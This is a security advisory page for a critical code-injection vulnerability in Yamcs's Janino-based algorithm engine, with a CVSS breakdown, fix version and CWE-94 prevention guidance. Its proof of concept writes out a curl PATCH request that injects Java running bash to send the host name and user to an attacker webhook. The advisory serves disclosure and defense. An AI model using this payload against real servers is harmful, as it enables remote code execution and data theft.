Skip to content

GHSA-524g-x36v-9wm6 CVE-2026-44632

Yamcs Vulnerable to Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`

Critical Maven
Severity
9.1 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
1.12%
Chance of exploitation in the next 30 days. Higher than 66.09% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
5.12.7
Upgrade org.yamcs:yamcs-core to this version or later

Description

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.

Proof of Concept (PoC)

The vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.

Prerequisites:

  1. A running Yamcs instance with an active processor (e.g., instance=myproject, processor=realtime).
  2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.

Steps to Reproduce:

  1. Send an authenticated HTTP PATCH request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., copySunsensor). The payload uses java.lang.Runtime to execute a reverse shell or ping an external webhook.
curl -i -X PATCH \
  'http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
  -d '{
    "action": "SET",
    "algorithm": {
      "text": "try { java.lang.Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/$(hostname)_$(whoami)\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);"
    }
  }'
  1. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to generate sun sensor data).
  2. The Yamcs server uses the Janino SimpleCompiler to compile the injected text into a Java class on the fly. Since no restrictive ClassLoader is applied, the payload is successfully compiled and executed.
  3. Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact

This vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.

Credits

Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Affected versions

Maven

PackageVulnerableFixed in
org.yamcs:yamcs-core
< 5.12.7
5.12.7

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

org.yamcs:yamcs-core Maven → 5.12.7

maven
<dependency><groupId>org.yamcs</groupId><artifactId>yamcs-core</artifactId><version>5.12.7</version></dependency>
gradle
implementation("org.yamcs:yamcs-core:5.12.7")

Severity breakdown

CVSS 3.1 9.1

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9272-wg2r-7xmx
Yamcs has DOM XSS in Extension Routing
Medium Also affects org.yamcs:yamcs-core
GHSA-c64q-hj4j-375f
Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)
Critical Also affects org.yamcs:yamcs-core
GHSA-73mf-m39p-wpm9
Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)
Critical Also affects org.yamcs:yamcs-core
GHSA-9jg3-g3wh-w9pj
Yamcs has Unauthenticated Directory Traversal
High Also affects org.yamcs:yamcs-core
GHSA-rxpg-wjf8-qv9c
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Medium Also affects org.yamcs:yamcs-core
GHSA-cvw4-55pp-3hfq
Yamcs's Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration
Medium Also affects org.yamcs:yamcs-core
GHSA-fwww-cp23-7f5g
Yamcs's WebSocket subscription handlers omit the privilege checks their REST siblings enforce
Medium Also affects org.yamcs:yamcs-core
GHSA-962x-ccwf-8x6p
Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities
High Also affects org.yamcs:yamcs-core
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor